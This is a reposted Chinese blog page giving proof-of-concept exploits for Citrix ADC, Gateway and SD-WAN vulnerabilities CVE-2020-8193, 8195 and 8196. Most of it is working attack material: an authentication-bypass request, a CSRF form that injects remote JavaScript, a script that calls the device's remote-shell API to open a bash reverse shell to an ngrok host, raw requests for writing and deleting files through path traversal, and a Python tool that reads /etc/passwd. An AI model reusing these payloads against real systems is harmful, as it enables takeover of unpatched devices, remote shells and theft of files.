null - 程序员宅基地

【转载】Citrix Systems产品安全漏洞最新POC---CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc_cve-2020-8195复现-程序员宅基地

转载自：https://www.cnblogs.com/potatsoSec/p/13281577.html
稍有修改。侵删。

Citrix 简介

Citrix Systems Citrix Application Delivery Controller（ADC）等都是美国思杰系统（Citrix Systems）公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway（Citrix Systems NetScaler Gateway）是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN（虚拟软件定义的广域网）设备。 Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。

受影响版本

Citrix ADC和Citrix Gateway < 13.0-58.30
Citrix ADC和NetScaler Gateway < 12.1-57.18
Citrix ADC和NetScaler Gateway < 12.0-63.21
Citrix ADC和NetScaler Gateway < 11.1-64.14
NetScaler ADC和NetScaler Gateway < 10.5-70.18
Citrix SD-WAN WANOP < 11.1.1a
Citrix SD-WAN WANOP < 11.0.3d
Citrix SD-WAN WANOP < 10.2.7
Citrix Gateway Plug-in for Linux < 1.0.0.137

PoC

权限绕过payload

发送如下payload即可获取设备最高权限

GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSID=05afba59ef8e0e35933f3bc266941337
Upgrade-Insecure-Requests: 1

读取文件

在这里插入图片描述

xss to shell

payload 如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://citrix.local/menu/stapp" method="POST">
      <input type="hidden" name="sid" value="254" />
      <input type="hidden" name="pe" value="1,2,3,4,5" />
      <input type="hidden" name="appname" value="%0a</title><script src='http://localhost:9090/code_exec.js'></script>" />
      <input type="hidden" name="au" value="1" />
      <input type="hidden" name="username" value="nsroot" />
      <input type="submit" value="Submit request" />
    </form>
  </body></html>

function load(url, callback) {
    
  var xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function() {
    
    if (xhr.readyState === 4) {
    
      rand = callback(xhr.response);
      exec_command(rand);
    }
  }

  xhr.open('GET', url, true);
  xhr.send('');}

function get_rand(payload) {
    
        var lines = payload.split("\n");
        for(var i = 0; i < lines.length; i++) {
    
            if (lines[i].includes('var rand = "')) {
    
                var rand = lines[i].split('"')[1]
                return rand;
            }
        }}

function exec_command(rand) {
    
        url = '/rapi/remote_shell'
        command = 'bash -c \"bash -i >%26 /dev/tcp/0.tcp.ngrok.io/16588 0>%261\"'

        var obj = {
    
                "params":{
    
                        "warning":"YES"
                },
                "remote_shell":{
    
                        "command":command,
                        "prompt":">",
                        "target":"shell",
                        "suppress":0,
                        "execute_in_partition":""
                }
        }

        var xhr = new XMLHttpRequest();
        
        xhr.onreadystatechange = function() {
    
        if (xhr.readyState === 4) {
    
                response = JSON.parse(xhr.response);
                alert(response['remote_shell']['output']);
        }
        }

        xhr.open('POST', url, true);
        xhr.setRequestHeader('rand_key', rand)
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
        xhr.send('object=' + JSON.stringify(obj));

}

var url = '/menu/stc';load(url, get_rand)

写入文件

POST /rapi/uploadtext HTTP/1.1Host: citrix.localUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://citrix.local/menu/neoDNT: 1rand_key: 331543635.1580073639558554Connection: closeCookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20PageUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 99

object={
    "uploadtext":{
    "filedir":"/tmp","filedata":"test","filename":"test.txt"}}

删除文件

POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31

<clipermission></clipermission>

删除文件夹

POST /rapi/movelicensefiles HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
DNT: 1
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=9ed492e6ff1876d44ddcaec143d2f949
rand_key: 1384537322.1580549312074652
Content-Length: 52

object={
    "movelicensefiles":{
    "name":"../netscaler/portal/modules/STAT"}}

创建文件夹

POST /rapi/uploadtext HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
DNT: 1
rand_key: 1467045781.1580550597345443
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20Page
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

object={
    "uploadtext":{
    "filedir":false,"filedata":"data","filename":"/var/tmp/new_directory/this_will_be_removed"}}

利用工具

#!/usr/bin/env python
import requestsimport sysimport stringimport randomimport jsonfrom urllib.parse import quote

# Slashes need to be urlencoded
PAYLOAD='%2fetc%2fpasswd'

requests.packages.urllib3.disable_warnings()

def random_string(length=8):
        chars = string.ascii_letters + string.digits
        random_string = ''.join(random.choice(chars) for x in range(length))
        return random_string

def create_session(base_url, session):
        url = '{0}/pcidss/report'.format(base_url)

        params = {
    
                'type':'allprofiles',
                'sid':'loginchallengeresponse1requestbody',
                'username':'nsroot',
                'set':'1'
        }

        headers = {
    
                'Content-Type':'application/xml',
                'X-NITRO-USER':random_string(),
                'X-NITRO-PASS':random_string(),
        }

        data = '<appfwprofile><login></login></appfwprofile>'
        
        session.post(url=url, params=params, headers=headers, data=data, verify=False)
        return session

def fix_session(base_url, session):
        url = '{0}/menu/ss'.format(base_url)

        params = {
    
                'sid':'nsroot',
                'username':'nsroot',
                'force_setup':'1'
        }

        session.get(url=url, params=params, verify=False)

def get_rand(base_url, session):
        url = '{0}/menu/stc'.format(base_url)
        r = session.get(url=url, verify=False)

        for line in r.text.split('\n'):
                if 'var rand =' in line:
                        rand = line.split('"')[1]
                        return rand

def do_lfi(base_url, session, rand):
        url = '{0}/rapi/filedownload?filter=path:{1}'.format(base_url, PAYLOAD)

        headers = {
    
                'Content-Type':'application/xml',
                'X-NITRO-USER':random_string(),
                'X-NITRO-PASS':random_string(),
                'rand_key':rand
        }

        data = '<clipermission></clipermission>'

        r = session.post(url=url, headers=headers, data=data, verify=False)
        print (r.text)

def main(base_url):
        print ('[-] Creating session..')
        session = requests.Session()
        create_session(base_url, session)
        print ('[+] Got session: {0}'.format(session.cookies.get_dict()['SESSID']))

        print('[-] Fixing session..')
        fix_session(base_url, session)

        print ('[-] Getting rand..')
        rand = get_rand(base_url, session)
        print ('[+] Got rand: {0}'.format(rand))

        print ('[-] Re-breaking session..')
        create_session(base_url, session)

        print ('[-] Getting file..')
        do_lfi(base_url, session, rand)

if __name__ == '__main__':
        base_url = sys.argv[1]
        main(base_url)

参考

https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence
https://dmaasland.github.io/posts/citrix.html

本文链接：https://blog.csdn.net/baidu_37039855/article/details/107334843

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

c# 调用c++ lib静态库_c#调用lib-程序员宅基地

文章浏览阅读2w次，点赞7次，收藏51次。四个步骤1.创建C++ Win32项目动态库dll 2.在Win32项目动态库中添加外部依赖项 lib头文件和lib库3.导出C接口4.c#调用c++动态库开始你的表演...①创建一个空白的解决方案，在解决方案中添加 Visual C++ , Win32 项目空白解决方案的创建：添加Visual C++ , Win32 项目这......_c#调用lib

deepin/ubuntu安装苹方字体-程序员宅基地

文章浏览阅读4.6k次。苹方字体是苹果系统上的黑体，挺好看的。注重颜值的网站都会使用，例如知乎：font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Microsoft YaHei, Source Han Sans SC, Noto Sans CJK SC, W..._ubuntu pingfang

html表单常见操作汇总_html表单的处理程序有那些-程序员宅基地

文章浏览阅读159次。表单表单概述表单标签表单域按钮控件demo表单标签表单标签基本语法结构<form action="处理数据程序的url地址“ method=”get|post“ name="表单名称”></form><!--method将表单中的数据传送给服务器处理，get方式直接显示在url地址中，数据可以被缓存，且长度有限制；而post方式数据隐藏传输，_html表单的处理程序有那些

PHP设置谷歌验证器（Google Authenticator）实现操作二步验证_php otp 验证器-程序员宅基地

文章浏览阅读1.2k次。使用说明:开启Google的登陆二步验证（即Google Authenticator服务）后用户登陆时需要输入额外由手机客户端生成的一次性密码。实现Google Authenticator功能需要服务器端和客户端的支持。服务器端负责密钥的生成、验证一次性密码是否正确。客户端记录密钥后生成一次性密码。下载谷歌验证类库文件放到项目合适位置(我这边放在项目Vender下面)https://github.com/PHPGangsta/GoogleAuthenticatorPHP代码示例://引入谷_php otp 验证器

【Python】matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距-程序员宅基地

文章浏览阅读4.3k次，点赞5次，收藏11次。matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距

docker — 容器存储_docker 保存容器-程序员宅基地

文章浏览阅读2.2k次。①Storage driver 处理各镜像层及容器层的处理细节，实现了多层数据的堆叠，为用户提供了多层数据合并后的统一视图②所有 Storage driver 都使用可堆叠图像层和写时复制（CoW）策略③docker info 命令可查看当系统上的 storage driver主要用于测试目的，不建议用于生成环境。_docker 保存容器

随便推点

网络拓扑结构_网络拓扑csdn-程序员宅基地

文章浏览阅读834次，点赞27次，收藏13次。网络拓扑结构是指计算机网络中各组件（如计算机、服务器、打印机、路由器、交换机等设备）及其连接线路在物理布局或逻辑构型上的排列形式。这种布局不仅描述了设备间的实际物理连接方式，也决定了数据在网络中流动的路径和方式。不同的网络拓扑结构影响着网络的性能、可靠性、可扩展性及管理维护的难易程度。_网络拓扑csdn

JS重写Date函数，兼容IOS系统_date.prototype 将所有 ios-程序员宅基地

文章浏览阅读1.8k次，点赞5次，收藏8次。IOS系统Date的坑要创建一个指定时间的new Date对象时，通常的做法是：new Date("2020-09-21 11:11:00")这行代码在 PC 端和安卓端都是正常的，而在 iOS 端则会提示 Invalid Date 无效日期。在IOS年月日中间的横岗许换成斜杠，也就是new Date("2020/09/21 11:11:00")通常为了兼容IOS的这个坑，需要做一些额外的特殊处理，笔者在开发的时候经常会忘了兼容IOS系统。所以就想试着重写Date函数，一劳永逸，避免每次ne_date.prototype 将所有 ios